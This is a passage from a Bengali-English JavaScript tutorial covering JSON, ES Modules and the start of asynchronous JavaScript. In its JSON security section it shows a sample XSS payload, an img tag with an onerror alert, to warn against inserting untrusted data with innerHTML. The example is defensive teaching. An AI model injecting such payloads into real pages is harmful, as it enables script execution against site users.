Chapter 18-এর concept আবার:

19.44 JavaScriptRun
const user = {
  name: "Shariar",
  role: "Developer",
};

localStorage.setItem("user", JSON.stringify(user));

Read:

19.44 JavaScriptRun
const user = JSON.parse(localStorage.getItem("user"));

এখানে JSON হলো bridge:

JavaScript Object ↓ JSON.stringify() ↓ String ↓ localStorage
19.45 JSON Deep Copy Pattern

Primitive/simple JSON-compatible data-এর ক্ষেত্রে:

19.45 JavaScriptRun
const original = {
  name: "Shariar",
  skills: ["HTML", "CSS"],
};

const copy = JSON.parse(JSON.stringify(original));

এতে আলাদা object তৈরি হয়।

19.45 JavaScriptRun
copy.name = "Ripon";

console.log(original.name);
Text
Shariar

তবে এটি general-purpose deep clone solution নয়

কারণ Date, Map, Set, undefined, functions, circular references ইত্যাদির ক্ষেত্রে JSON cloning data পরিবর্তন/হারাতে পারে বা error দিতে পারে।

Modern JavaScript-এ সাধারণ structured data clone করতে:

19.45 JavaScriptRun
structuredClone(original);

অনেক ক্ষেত্রে বেশি উপযুক্ত।

19.46 JSON Security

JSON নিজে dangerous নয়।

কিন্তু untrusted JSON data কীভাবে ব্যবহার করছো, সেটাই গুরুত্বপূর্ণ।

ধরো server থেকে:

19.46 JSONData Format
{
  "message": "<img src=x onerror=alert('XSS')>"
}

তুমি যদি এটাকে:

19.46 JavaScriptRun
element.innerHTML = data.message;

দাও, security problem তৈরি হতে পারে।

বরং সাধারণ text হলে:

19.46 JavaScriptRun
element.textContent = data.message;

ব্যবহার করা safer।

19.47 JSON Schema-এর Basic Idea

Large project-এ JSON data-এর structure define করার প্রয়োজন হয়।

যেমন:

User ├── id → number ├── name → string ├── email → string └── age → number

JSON Schema দিয়ে বলা যায়:

19.47 JSONData Format
{
  "type": "object",
  "properties": {
    "name": {
      "type": "string"
    },
    "age": {
      "type": "number"
    }
  },
  "required": ["name", "age"]
}

এটি data structure validation-এর জন্য ব্যবহার করা যায়।

19.48 Real-life Student API

ধরো API response:

19.48 JSONData Format
{
  "success": true,
  "students": [
    {
      "id": 1,
      "name": "Shariar",
      "department": "CSE",
      "cgpa": 3.75
    },
    {
      "id": 2,
      "name": "Rahim",
      "department": "EEE",
      "cgpa": 3.5
    }
  ]
}

JavaScript:

19.48 JavaScriptRun
const data = {
  success: true,
  students: [
    {
      id: 1,
      name: "Shariar",
      department: "CSE",
      cgpa: 3.75,
    },
    {
      id: 2,
      name: "Rahim",
      department: "EEE",
      cgpa: 3.5,
    },
  ],
};

data.students.forEach((student) => {
  console.log(student.name, student.cgpa);
});
Text
Shariar 3.75
Rahim 3.5
19.49 JSON + `map()
19.49 JavaScriptRun
const names = data.students.map((student) => student.name);

console.log(names);
Text
["Shariar", "Rahim"]
19.50 JSON + `filter()

CSE students:

19.50 JavaScriptRun
const cseStudents = data.students.filter(
  (student) => student.department === "CSE",
);

console.log(cseStudents);
19.50 JavaScriptRun
[
  {
    id: 1,
    name: "Shariar",
    department: "CSE",
    cgpa: 3.75,
  },
];
19.51 JSON + `find()
19.51 JavaScriptRun
const student = data.students.find((student) => student.id === 1);

console.log(student);
19.51 JavaScriptRun
{
    id: 1,
    name: "Shariar",
    department: "CSE",
    cgpa: 3.75
}
19.52 Complete JSON Workflow

একটি real-world application:

USER ↓ FRONTEND ↓ JavaScript Object ↓ JSON.stringify() ↓ HTTP Request ↓ API ↓ BACKEND ↓ DATABASE ↓ JSON Response ↓ response.json() ↓ JavaScript Object ↓ UI

এটাই modern web development-এর একটি core data flow।

Part 06 — JSON Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 19.53 Must Know — JSON Syntax, Types & Limitations
এই chapter-এর সবচেয়ে গুরুত্বপূর্ণ বিষয়গুলো:
JSON Basics
JSON JSON Object JSON Array JSON String JSON Number JSON Boolean JSON null
Conversion
JavaScriptRun
JSON.stringify();
JSON.parse();
Advanced
JavaScriptRun
replacer
reviver
pretty printing
JSON Limitations
Text
No functions
No undefined
No comments
No native Date
No Map/Set
No circular references
Web Development
JSON + localStorage JSON + fetch JSON + REST API JSON + HTTP JSON + Backend
CHEAT SHEET 🧠 19.54 Quick Cheat Sheet — stringify, parse & Methods
কাজCode
Object → JSONJSON.stringify(object)
Array → JSONJSON.stringify(array)
JSON → ObjectJSON.parse(json)
Pretty JSONJSON.stringify(data, null, 2)
Filter propertiesJSON.stringify(data, ["name"])
Custom stringifyJSON.stringify(data, replacer)
Custom parseJSON.parse(json, reviver)
JSON API bodyJSON.stringify(data)
JSON response parseresponse.json()
localStorage saveJSON.stringify(data)
localStorage readJSON.parse(data)
PRACTICE LAB 📝 19.55 Practice Set — 6 Hands-on Production Problems

Practice 1 — Student Object

এই object তৈরি করো:

JavaScriptRun
const student = {
  name: "Shariar",
  id: "23105101019",
  department: "CSE",
  semester: 8,
  skills: ["HTML", "CSS", "JavaScript", "React"],
};

এটাকে JSON string-এ convert করো।

Practice 2 — JSON → Object

এই JSON parse করো:

JSONData Format
{
  "name": "Shariar",
  "age": 24,
  "role": "Full Stack Developer"
}

তারপর:

JavaScriptRun
console.log(user.name);
console.log(user.role);

করো।

Practice 3 — Pretty JSON

Nested object তৈরি করে:

JavaScriptRun
JSON.stringify(data, null, 2);

দিয়ে সুন্দর JSON output তৈরি করো।

Practice 4 — Product API

এই structure ব্যবহার করো:

JavaScriptRun
const products = [
  {
    id: 1,
    name: "Laptop",
    price: 70000,
  },
  {
    id: 2,
    name: "Mouse",
    price: 1500,
  },
  {
    id: 3,
    name: "Keyboard",
    price: 2500,
  },
];

তারপর:

→ JSON বানাও → JSON parse করো → price > 2000 filter করো → product names বের করো

Practice 5 — localStorage

একটি user object:

JavaScriptRun
{
    name: "Shariar",
    email: "shariar@gmail.com",
    role: "Developer"
}

localStorage-এ save করো এবং page reload-এর পরে আবার object হিসেবে retrieve করো।

Practice 6 — API Request Body

এই data:

JavaScriptRun
const user = {
  name: "Shariar",
  email: "shariar@gmail.com",
};

fetch() request-এর JSON body হিসেবে পাঠানোর code লেখো।

SUMMARY 🎯 19.56 Final Mental Map — Full-Stack JSON Workflow
JSON │ ┌──────────┴──────────┐ ↓ ↓ JavaScript JSON Text Object │ │ │ │ stringify() │ ├────────────────────→│ │ │ │ │ │←────────────────────┤ │ parse() │ ↓ ↓ Object / Array API │ │ ↓ ↓ localStorage Backend │ │ └──────────┬──────────┘ ↓ Database
⭐ Chapter 19-এর মূল কথা

তুমি যদি পুরো chapter থেকে শুধু এই flow-টা ভালোভাবে বুঝে ফেলো:

const user = { name: "Shariar", age: 24, }; // JavaScript → JSON const json = JSON.stringify(user); console.log(json); // JSON → JavaScript const data = JSON.parse(json); console.log(data.name);

তাহলে JSON-এর fundamental concept তোমার পরিষ্কার।

আর Full Stack Development-এ সবচেয়ে গুরুত্বপূর্ণ connection হলো:
JavaScript Object ↓ JSON.stringify() ↓ API Request ↓ Backend ↓ JSON Response ↓ response.json() ↓ JavaScript Object ↓ React UI

Chapter 19 complete.

NEXT CHAPTER 📘 Chapter 20 Preview — ES Modules (ESM)

পরবর্তী অধ্যায়ে আমরা আধুনিক মডুলার জাভাস্ক্রিপ্ট আর্কিটেকচার ES Modules (ESM) নিয়ে বিস্তারিত শিখব—import, export, Named Export, Default Export, Dynamic Import (import()), import.meta, এবং CommonJS বনাম ES Modules-এর পার্থক্য।

Chapter 20
↑ Index
ES Modules (ESM) — মডিউলার আর্কিটেকচার ও ইমপোর্ট/এক্সপোর্ট
Total Sections
55 Modules + Practice
Curriculum Part
Part 14 — Modular Architecture & Organization
Core Mechanics
import, export, Dynamic Import & Live Bindings
Reference Standard
ECMAScript 2026 / TC39 / Node.js ESM

Modules — বড় JavaScript Project-কে ছোট, Organized ও Reusable File-এ ভাগ করা

প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিংয়ে কোনো বড় কোডবেস একটিমাত্র ফাইলে রাখা অসম্ভব। কোডবেসকে পরিষ্কার, রিইউজেবল, সহজে টেস্টেবল এবং মেইনটেইনেবল রাখতে জাভাস্ক্রিপ্টের অফিসিয়াল মডিউল স্ট্যান্ডার্ড ES Modules (ESM) ব্যবহার করা হয়।

Single Responsibility File  →  export (Named / Default)  →  Module Dependency Graph  →  import / Dynamic import()

React, Vue, Next.js বা Node.js যেকোনো আধুনিক ফ্রন্টএন্ড ফ্রেমওয়ার্কের ভিত্তিই হলো এই মডিউল সিস্টেম। 🔥

Part 01 — Module Architecture & The ES Modules Standard (20.1 – 20.8)
20.1 Module কী?

Module হলো JavaScript code-এর একটি আলাদা file, যেখানে নির্দিষ্ট functionality রাখা হয় এবং প্রয়োজন হলে অন্য file-এ export / import করা যায়।

সহজভাবে:

একটা বড় Project ↓ ┌─────┼─────┐ ↓ ↓ ↓ auth cart utils .js .js .js

প্রতিটি file নিজের কাজ করবে।

20.2 Real-life Example

ধরো তুমি একটি E-commerce website বানাচ্ছো।

সব code এক file-এ:

app.js ├── Login ├── Register ├── Products ├── Cart ├── Payment ├── Validation └── Utility

এটা বড় হলে manage করা কঠিন।

তার বদলে:

project/ │ ├── index.html │ ├── js/ │ ├── app.js │ ├── auth.js │ ├── cart.js │ ├── products.js │ └── utils.js

এটাই modular architecture।

20.3 Module-এর প্রধান সুবিধা
Text
1. Code organization
2. Reusability
3. Maintainability
4. Encapsulation
5. Namespace pollution কমানো
6. Dependency management
7. Team collaboration সহজ
20.4 Normal JavaScript File

ধরো:

20.4 JavaScript ModuleESM
function add(a, b) {
    return a + b;
}

console.log(add(10, 20));
Text
30

এখন add() অন্য file-এ ব্যবহার করতে চাই।

এখানেই module দরকার।

20.5 ES Modules

Modern JavaScript-এ module system হলো:

Text
ES Modules
বা
ESM

এর প্রধান keyword:

20.5 JavaScript ModuleESM
export
import
20.6 প্রথম Module Example
⚙️ math.js
20.6 `math.js`ESM
export function add(a, b) {
    return a + b;
}
⚙️ app.js
20.6 `app.js`ESM
import { add } from "./math.js";

console.log(add(10, 20));
Text
30

এখানে:

math.js ↓ export ↓ add() ↓ app.js ↓ import
20.7 HTML-এ Module Load করা

Browser-এ ES Module ব্যবহার করতে:

20.7 HTMLMarkup
<script
    type="module"
    src="./js/app.js">
</script>
📌 খুব গুরুত্বপূর্ণ
20.7 HTMLMarkup
type="module"

না দিলে browser এটাকে normal script হিসেবে treat করবে এবং import/export কাজ করবে না।

20.8 Complete Folder Structure
project/ │ ├── index.html │ └── js/ ├── app.js └── math.js
⚙️ index.html
20.8 HTMLMarkup
<!DOCTYPE html>
<html>
<head>
    <title>JS Modules</title>
</head>

<body>

    <h1>JavaScript Modules</h1>

    <script
        type="module"
        src="./js/app.js">
    </script>

</body>
</html>
⚙️ math.js
20.8 `math.js`ESM
export function add(a, b) {
    return a + b;
}

export function subtract(a, b) {
    return a - b;
}
⚙️ app.js
20.8 `app.js`ESM
import {
    add,
    subtract
} from "./math.js";

console.log(add(10, 5));
console.log(subtract(10, 5));
Text
15
5
Part 02 — Named Exports, Default Exports & Imports (20.9 – 20.17)
20.9 Named Export

একাধিক function export করতে:

20.9 JavaScript ModuleESM
export function add(a, b) {
    return a + b;
}

export function multiply(a, b) {
    return a * b;
}

export const PI = 3.14159;

Import:

20.9 JavaScript ModuleESM
import {
    add,
    multiply,
    PI
} from "./math.js";
20.10 Export at the Bottom

Function-এর সামনে export না দিয়ে শেষেও export করা যায়।

20.10 JavaScript ModuleESM
function add(a, b) {
    return a + b;
}

function subtract(a, b) {
    return a - b;
}

export {
    add,
    subtract
};

Import:

20.10 JavaScript ModuleESM
import {
    add,
    subtract
} from "./math.js";

দুটো approach valid।

20.11 Named Import

যদি:

20.11 JavaScript ModuleESM
export function add() {}

export function subtract() {}

তাহলে:

20.11 JavaScript ModuleESM
import {
    add,
    subtract
} from "./math.js";

এটাই named import।

20.12 Import Rename

ধরো:

20.12 JavaScript ModuleESM
import {
    add as sum
} from "./math.js";

console.log(sum(10, 20));
Text
30

এখানে:

add → sum

নামে locally ব্যবহার করছি।

20.13 Export Rename

এভাবেও করা যায়:

20.13 JavaScript ModuleESM
function add(a, b) {
    return a + b;
}

export {
    add as sum
};

তখন import:

20.13 JavaScript ModuleESM
import {
    sum
} from "./math.js";
20.14 Default Export

একটি module-এর একটি default export থাকতে পারে।

20.14 JavaScript ModuleESM
export default function add(a, b) {
    return a + b;
}

Import:

20.14 JavaScript ModuleESM
import add from "./math.js";

এখানে {} লাগে না।

20.15 Default Export Rename করা যায়

ধরো:

20.15 JavaScript ModuleESM
export default function add(a, b) {
    return a + b;
}

Import:

20.15 JavaScript ModuleESM
import sum from "./math.js";

এটাও valid।

কারণ default export import করার সময় local নাম তুমি নিজেই দিতে পারো।

20.16 Named vs Default Export
বিষয়Named ExportDefault Export
Syntaxexport { add }export default add
Import{ add }add
MultipleYesOne default per module
Renameas দিয়েImport-এই নাম দেওয়া যায়

Example:

20.16 JavaScript ModuleESM
// Named
export {
    add,
    subtract
};

Import:

20.16 JavaScript ModuleESM
import {
    add,
    subtract
} from "./math.js";

Default:

20.16 JavaScript ModuleESM
export default add;

Import:

20.16 JavaScript ModuleESM
import add from "./math.js";
20.17 একই Module-এ Named + Default

এটাও করা যায়।

20.17 JavaScript ModuleESM
export const PI = 3.14159;

export function multiply(a, b) {
    return a * b;
}

export default function add(a, b) {
    return a + b;
}

Import:

20.17 JavaScript ModuleESM
import add, {
    PI,
    multiply
} from "./math.js";
Part 03 — Namespaces, Side-Effects & Module Scoping (20.18 – 20.29)
20.18 Namespace Import

সব named export একসাথে object-এর মতো ব্যবহার করতে:

20.18 JavaScript ModuleESM
import * as math
from "./math.js";

console.log(
    math.add(10, 20)
);

console.log(
    math.multiply(5, 4)
);

এখানে:

Text
math.add()
math.multiply()
math.PI

ব্যবহার করা যাবে।

20.19 Namespace Import-এর Real-life Use

ধরো:

utils.js ├── formatDate ├── formatCurrency ├── capitalize └── debounce

Import:

20.19 JavaScript ModuleESM
import * as utils
from "./utils.js";

utils.formatDate();
utils.formatCurrency();
utils.capitalize();

এতে related functions একটি namespace-এর মধ্যে থাকে।

20.20 Side-effect Import

কখনো শুধু module execute করাতে import করা হয়।

20.20 JavaScript ModuleESM
import "./analytics.js";

এখানে কোনো function import করছি না।

শুধু:

analytics.js ↓ execute

হবে।

20.21 Module Scope
এটি খুব গুরুত্বপূর্ণ।

Normal script-এ global variable তৈরি হতে পারে।

Module-এ:

20.21 JavaScript ModuleESM
const username = "Shariar";

এই variable automatically global scope-এ চলে যায় না।

অন্য module সরাসরি:

20.21 JavaScript ModuleESM
console.log(username);

করতে পারবে না।

যদি দরকার হয়:

20.21 JavaScript ModuleESM
export const username = "Shariar";

তারপর:

20.21 JavaScript ModuleESM
import {
    username
} from "./user.js";
20.22 Modules = Private by Default

ধরো:

20.22 JavaScript ModuleESM
const password =
    "secret123";

export const username =
    "Shariar";

অন্য module password access করতে পারবে না।

শুধু exported values accessible।

এটি encapsulation-এর basic form।

20.23 Module Dependency

ধরো:

app.js ↓ auth.js ↓ api.js

app.js যদি auth.js import করে এবং auth.js যদি api.js import করে, তাহলে dependency chain তৈরি হয়।

app.js │ ↓ auth.js │ ↓ api.js

Modern bundlers এই dependency graph analyze করে।

20.24 Relative Path

যদি structure:

js/ ├── app.js └── utils.js

তাহলে:

20.24 JavaScript ModuleESM
import {
    add
} from "./utils.js";

./ মানে current directory।

20.25 Parent Directory

Structure:

js/ ├── app.js └── utils/ └── math.js

app.js থেকে:

20.25 JavaScript ModuleESM
import {
    add
} from "./utils/math.js";

আর nested file থেকে parent-এ যেতে:

Text
../

ব্যবহার হয়।

20.26 File Extension

Browser-based native ES Modules-এ:

20.26 JavaScript ModuleESM
import {
    add
} from "./math.js";

.js extension explicitly দেওয়া ভালো/প্রয়োজনীয়।

Bundler-based project যেমন Vite/webpack-এ tooling কিছু path handling করতে পারে, কিন্তু native browser module বুঝতে এই বিষয়টি জানা জরুরি।

20.27 Module Script-এর Important Features
20.27 HTMLMarkup
<script
    type="module"
    src="./app.js">
</script>

Module scripts:

  • strict mode semantics ব্যবহার করে
  • module scope রাখে
  • import/export support করে
  • dependency অনুযায়ী modules load করে
  • browser-এ সাধারণত deferred behavior-এর মতো execute হয়
20.28 Strict Mode

Module code automatically strict mode semantics-এ চলে।

তাই সাধারণত:

20.28 JavaScript ModuleESM
"use strict";

আলাদাভাবে লেখার দরকার নেই।

Example:

20.28 JavaScript ModuleESM
x = 10;

Module-এ undeclared variable assignment error দেবে।

20.29 Module-এর Top-Level `this

Module-এর top-level this:

20.29 JavaScript ModuleESM
console.log(this);

Browser ES module-এ সাধারণত:

Text
undefined

পাওয়া যায়।

এটি normal classic script-এর behavior থেকে আলাদা।

Part 04 — Dynamic Imports, Re-Exporting & Project Architecture (20.30 – 20.43)
20.30 Dynamic Import

সবসময় module শুরুতেই load করতে হবে এমন নয়।

Runtime-এ module load করা যায়:

20.30 JavaScript ModuleESM
const module =
    await import("./math.js");

console.log(
    module.add(10, 20)
);

এটাকে:

Text
Dynamic Import

বলে।

20.31 Dynamic Import কেন দরকার?

ধরো user একটা বিশেষ feature click করল:

User clicks "Advanced Editor" ↓ Load editor.js

শুরুতেই editor code load না করে প্রয়োজনের সময় load করা যায়।

এতে বড় application-এর initial loading optimize করা সম্ভব।

20.32 Dynamic Import Without `await
20.32 JavaScript ModuleESM
import("./math.js")
    .then(module => {

        console.log(
            module.add(10, 20)
        );

    });

কারণ dynamic import() একটি Promise return করে।

20.33 export

একটি module-এর exports অন্য module থেকে re-export করা যায়।

⚙️ math.js
20.33 `math.js`ESM
export function add(a, b) {
    return a + b;
}

export function subtract(a, b) {
    return a - b;
}
⚙️ index.js
20.33 `index.js`ESM
export * from "./math.js";

এখন অন্য file:

20.33 `index.js`ESM
import {
    add,
    subtract
} from "./index.js";

এটাকে barrel/re-export pattern-এর basic example হিসেবে দেখতে পারো।

20.34 Re-export with Rename
20.34 JavaScript ModuleESM
export {
    add as sum
} from "./math.js";

এখন:

20.34 JavaScript ModuleESM
import {
    sum
} from "./index.js";
20.35 Default Re-export
20.35 JavaScript ModuleESM
export {
    default
} from "./math.js";

অথবা:

20.35 JavaScript ModuleESM
export {
    default as calculate
} from "./math.js";
20.36 Practical Project Structure

একটি ছোট e-commerce project:

project/ │ ├── index.html │ ├── css/ │ └── style.css │ └── js/ │ ├── app.js ├── api.js ├── auth.js ├── cart.js ├── products.js ├── storage.js └── utils.js

Responsibilities:

app.js → application entry point api.js → API communication auth.js → login/logout cart.js → shopping cart products.js → product logic storage.js → localStorage utils.js → reusable helper functions

এটাই modular thinking।

20.37 Practical `storage.js
20.37 JavaScript ModuleESM
export function saveData(key, value) {

    localStorage.setItem(
        key,
        JSON.stringify(value)
    );

}

export function getData(key) {

    const data =
        localStorage.getItem(key);

    return data
        ? JSON.parse(data)
        : null;
}

export function removeData(key) {

    localStorage.removeItem(key);

}
20.38 app.js
20.38 JavaScript ModuleESM
import {
    saveData,
    getData,
    removeData
} from "./storage.js";

const user = {
    name: "Shariar",
    role: "Developer"
};

saveData("user", user);

console.log(
    getData("user")
);
20.38 JavaScript ModuleESM
{
    name: "Shariar",
    role: "Developer"
}
20.39 Practical `utils.js
20.39 JavaScript ModuleESM
export function capitalize(text) {

    return (
        text.charAt(0).toUpperCase() +
        text.slice(1)
    );

}

export function calculateDiscount(
    price,
    discount
) {

    return price -
        (price * discount / 100);

}

Use:

20.39 JavaScript ModuleESM
import {
    capitalize,
    calculateDiscount
} from "./utils.js";

console.log(
    capitalize("shariar")
);

console.log(
    calculateDiscount(1000, 10)
);
Text
Shariar
900
20.40 Module + Class

Class-ও export করা যায়।

20.40 JavaScript ModuleESM
export class User {

    constructor(name) {
        this.name = name;
    }

    greet() {
        return `Hello ${this.name}`;
    }

}

Import:

20.40 JavaScript ModuleESM
import { User }
from "./User.js";

const user =
    new User("Shariar");

console.log(
    user.greet()
);
Text
Hello Shariar
20.41 Module + Constant
20.41 JavaScript ModuleESM
export const API_URL =
    "https://example.com/api";

Import:

20.41 JavaScript ModuleESM
import { API_URL }
from "./config.js";

console.log(API_URL);

Real project-এ configuration আলাদা module-এ রাখা common।

20.42 Module + Async Function

Module-এর ভিতরে:

20.42 JavaScript ModuleESM
export async function getUsers() {

    const response =
        await fetch("/api/users");

    return response.json();

}

অন্য module:

20.42 JavaScript ModuleESM
import { getUsers }
from "./api.js";

const users =
    await getUsers();

console.log(users);

Modern modules-এ top-level await-ও supported environments-এ ব্যবহার করা যায়।

20.43 Top-Level `await

Module-এর top level-এ:

20.43 JavaScript ModuleESM
const response =
    await fetch("/api/users");

const users =
    await response.json();

console.log(users);

Classic script-এ সাধারণভাবে top-level await কাজ করবে না, কিন্তু ES module-এ supported।

এটি asynchronous module loading-এর সাথে related।

Part 05 — Advanced Module Mechanics: Node.js, CommonJS vs ESM, Live Bindings (20.44 – 20.51)
20.44 Module vs Normal Script
বিষয়Normal ScriptES Module
import/export
ScopeGlobal/script scopeModule scope
Strict semanticsNot automatically module strict
Reusable dependency systemLimited
type="module"Browser-এ প্রয়োজন
Top-level await
Dynamic import()Modern JS-এ available
20.45 Module কেন React-এ গুরুত্বপূর্ণ?

তুমি যখন React ব্যবহার করবে, প্রায় প্রতিটি file module-এর মতো কাজ করবে।

উদাহরণ:

20.45 JavaScript ModuleESM
import React from "react";
import Navbar from "./components/Navbar";
import Login from "./pages/Login";
import api from "./services/api";

React project মূলত modular architecture-এর উপর heavily নির্ভর করে।

20.46 Node.js-এ Modules
Node.js-এ module system-এর দুটি গুরুত্বপূর্ণ style আছে:
Text
CommonJS
ES Modules

CommonJS:

20.46 JavaScript ModuleESM
const math =
    require("./math");

Export:

20.46 JavaScript ModuleESM
module.exports = {
    add
};

Modern Node.js-এ ES Modules-ও ব্যবহার করা যায়:

20.46 JavaScript ModuleESM
import { add }
from "./math.js";

এবং:

20.46 JavaScript ModuleESM
export {
    add
};
20.47 CommonJS vs ES Modules
CommonJSES Modules
require()import
module.exportsexport
Node.js-এর traditional systemJavaScript standard module system
Older Node ecosystem-এ খুব commonModern JS/browser/Node-এ widely used

Modern full-stack development-এ দুটো system সম্পর্কে জানা useful।

20.48 Circular Dependencies

ধরো:

A.js ↓ B.js ↓ A.js

অর্থাৎ:

20.48 JavaScript ModuleESM
// A.js
import { b } from "./B.js";

আর:

20.48 JavaScript ModuleESM
// B.js
import { a } from "./A.js";

একে circular dependency বলে।

এটি কখনো কাজ করতে পারে, কিন্তু complex initialization সমস্যা তৈরি করতে পারে।

তাই architecture এমনভাবে design করা ভালো যাতে unnecessary circular dependency না থাকে।

20.49 Modules এবং Encapsulation

ধরো:

20.49 JavaScript ModuleESM
let balance = 1000;

export function deposit(amount) {

    balance += amount;

}

export function getBalance() {

    return balance;

}

অন্য file:

20.49 JavaScript ModuleESM
import {
    deposit,
    getBalance
} from "./bank.js";

deposit(500);

console.log(
    getBalance()
);
Text
1500

অন্য module সরাসরি:

20.49 JavaScript ModuleESM
balance = 999999;

করতে পারবে না।

এটাই module-based encapsulation-এর practical ধারণা।

20.50 Live Binding Concept

Modules-এর export সাধারণত live binding

Example:

20.50 JavaScript ModuleESM
// counter.js

export let count = 0;

export function increment() {
    count++;
}

অন্য file:

20.50 JavaScript ModuleESM
import {
    count,
    increment
} from "./counter.js";

console.log(count);

increment();

console.log(count);
Text
0
1

Imported binding module-এর current exported value-এর সাথে linked থাকে।

তবে importer সাধারণত imported binding নিজে reassign করতে পারে না।

20.51 Module Cache / Reuse

একই module একাধিক জায়গায় import করলে environment সাধারণত module-টিকে বারবার নতুন করে execute না করে module instance reuse করে।

Example:

app.js ──┐ ├──→ config.js cart.js ─┘

দুই জায়গা থেকে config.js import হলেও একই module instance-এর exports share করা হয়।

এটি application architecture-এ গুরুত্বপূর্ণ।
Part 06 — Module Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 20.52 Must Know — ES Modules Architecture

এই chapter থেকে অবশ্যই জানতে হবে:

Core
JavaScript ModuleESM
export
import
Named
JavaScript ModuleESM
export {
    add
};
JavaScript ModuleESM
import {
    add
} from "./math.js";
Default
JavaScript ModuleESM
export default function() {}
JavaScript ModuleESM
import something
from "./file.js";
Namespace
JavaScript ModuleESM
import * as utils
from "./utils.js";
Dynamic
JavaScript ModuleESM
import("./module.js");
Re-export
JavaScript ModuleESM
export * from "./math.js";
Browser
HTMLMarkup
<script type="module">
CHEAT SHEET 🧠 20.53 Quick Cheat Sheet — Import & Export Syntax
কাজSyntax
Named exportexport { add }
Inline exportexport function add(){}
Named importimport { add } from "./math.js"
Rename importimport { add as sum } ...
Default exportexport default add
Default importimport add from "./math.js"
Namespace importimport * as math from "./math.js"
Side-effect importimport "./analytics.js"
Dynamic importimport("./math.js")
Re-exportexport * from "./math.js"
Browser module<script type="module">
PRACTICE LAB 📝 20.54 Practice Set — 5 Modular Architecture Projects

Practice 1 — Math Module

math.js তৈরি করো:

Text
add()
subtract()
multiply()
divide()

সবগুলো export করো।

তারপর app.js থেকে import করো।

Practice 2 — User Module

user.js:

JavaScript ModuleESM
export const user = {
    name: "Shariar",
    role: "Developer"
};

app.js থেকে import করে UI-তে name দেখাও।

Practice 3 — Utility Module

একটি utils.js বানিয়ে:

Text
capitalize()
calculateDiscount()
formatPrice()

তৈরি করো এবং অন্য file-এ ব্যবহার করো।

Practice 4 — Storage Module

Chapter 18-এর code দিয়ে:

storage.js ↓ saveData() getData() removeData()

বানাও।

তারপর app.js থেকে ব্যবহার করো।

Practice 5 — Mini E-commerce Architecture

এই structure বানাও:

js/ ├── app.js ├── products.js ├── cart.js ├── storage.js └── utils.js

Responsibilities:

products.js → product data cart.js → add/remove cart storage.js → localStorage utils.js → helper functions app.js → main application
SUMMARY 🎯 20.55 Final Mental Map — Module Organization & Lifecycle
JavaScript Project │ ↓ Modules │ ┌─────────────┼─────────────┐ ↓ ↓ ↓ auth.js cart.js utils.js │ │ │ └─────────────┼─────────────┘ ↓ app.js │ ┌─────────┴─────────┐ ↓ ↓ import export │ │ └─────────┬─────────┘ ↓ Reusable Code
# ⭐ Chapter 20-এর সবচেয়ে গুরুত্বপূর্ণ বিষয়

তুমি Full Stack Developer হিসেবে এই concept-টা ভালোভাবে বুঝবে:

একটা বড় JavaScript file ↓ ছোট ছোট modules ↓ প্রতিটি module-এর নির্দিষ্ট কাজ ↓ export ↓ import ↓ Main Application

একটি real project:

app.js │ ┌───────────┼───────────┐ ↓ ↓ ↓ auth.js products.js cart.js │ │ │ └───────────┼───────────┘ ↓ storage.js │ ↓ localStorage

আর React/Node.js project-এ তুমি যে:

JavaScript ModuleESM
import ...
export ...

প্রায় প্রতিদিন দেখবে—তার foundation হলো এই Chapter 20-এর ES Modules

Chapter 20 complete.

NEXT CHAPTER 📘 Chapter 21 Preview — Asynchronous JavaScript

পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম কোর পিলার Asynchronous JavaScript নিয়ে বিস্তারিত শিখব—Event Loop, Call Stack, Callback Hell, Promises (then, catch, finally), Promise Combinators (all, race, allSettled, any), এবং আধুনিক async/await সিনট্যাক্স।

Chapter 21
↑ Index
Asynchronous JavaScript — নন-ব্লকিং মডেল ও ইভেন্ট লুপ
Total Sections
56 Modules + Practice
Curriculum Part
Part 15 — Asynchronous Programming & Concurrency
Core Mechanics
Event Loop, Microtasks, Promise & async/await
Reference Standard
ECMAScript 2026 / WHATWG HTML Living Standard

Asynchronous JavaScript — নন-ব্লকিং মডেল ও অ্যাসিনক্রোনাস আর্কিটেকচার

JavaScript হলো একটি Single-Threaded ল্যাঙ্গুয়েজ, অর্থাৎ এটি একসাথে একটিমাত্র কাজ করতে পারে। কিন্তু বাস্তব অ্যাপ্লিকেশনে নেটওয়ার্ক রিকোয়েস্ট, সার্ভার থেকে ডাটা লোড, টাইমার বা ডেটাবেজ এক্সেসের মতো দীর্ঘস্থায়ী কাজের সময় ব্রাউজার যেন জমে (Freeze) না যায়, সেজন্য জাভাস্ক্রিপ্ট Non-blocking Asynchronous মডেল ব্যবহার করে।

Call Stack (JS Engine)  →  Web APIs (Timer/Network)  →  Callback / Microtask Queue  →  Event Loop

React, Next.js, Node.js কিংবা Express-এ API Integration ও Backend Communication-এর মূল চালিকাশক্তিই হলো Asynchronous JavaScript। 🔥

Part 01 — Asynchronous Foundations, Browser Runtime, Call Stack & Event Loop (21.1 – 21.10)
21.1 Synchronous vs Asynchronous
🔹 Synchronous JavaScript

Synchronous মানে:

একটি কাজ শেষ হওয়ার পর পরের কাজ শুরু হবে।
💡 Example
21.1 JavaScript AsyncES2026
console.log("Task 1");
console.log("Task 2");
console.log("Task 3");
Task 1 Task 2 Task 3

এখানে JavaScript:

Task 1 → শেষ ↓ Task 2 → শেষ ↓ Task 3 → শেষ
💡 🔹 Real-Life Example

ধরো তুমি restaurant-এ গেলে।

একজন waiter:

  • Customer 1-এর order নিল
  • Customer 1-এর খাবার তৈরি হওয়া পর্যন্ত দাঁড়িয়ে থাকল
  • খাবার দিল
  • তারপর Customer 2-এর order নিল

এটা inefficient।

এটাই synchronous-এর মতো।

21.2 Asynchronous JavaScript

Asynchronous মানে:

একটি কাজের জন্য অপেক্ষা করতে গিয়ে JavaScript পুরো program-কে আটকে রাখে না।
💡 Example
21.2 JavaScript AsyncES2026
console.log("Start");

setTimeout(() => {
    console.log("Data received");
}, 2000);

console.log("End");
CONSOLE OUTPUT
Start
End
Data received

এখানে কী হলো?

Start ↓ setTimeout শুরু ↓ JavaScript অপেক্ষা না করে ↓ End ↓ 2 seconds পরে ↓ Data received
21.3 setTimeout()

setTimeout() নির্দিষ্ট সময় পরে একটি function execute করে।

⚙️ Syntax
21.3 JavaScript AsyncES2026
setTimeout(function, delay);
💡 Example
21.3 JavaScript AsyncES2026
setTimeout(() => {
    console.log("Hello");
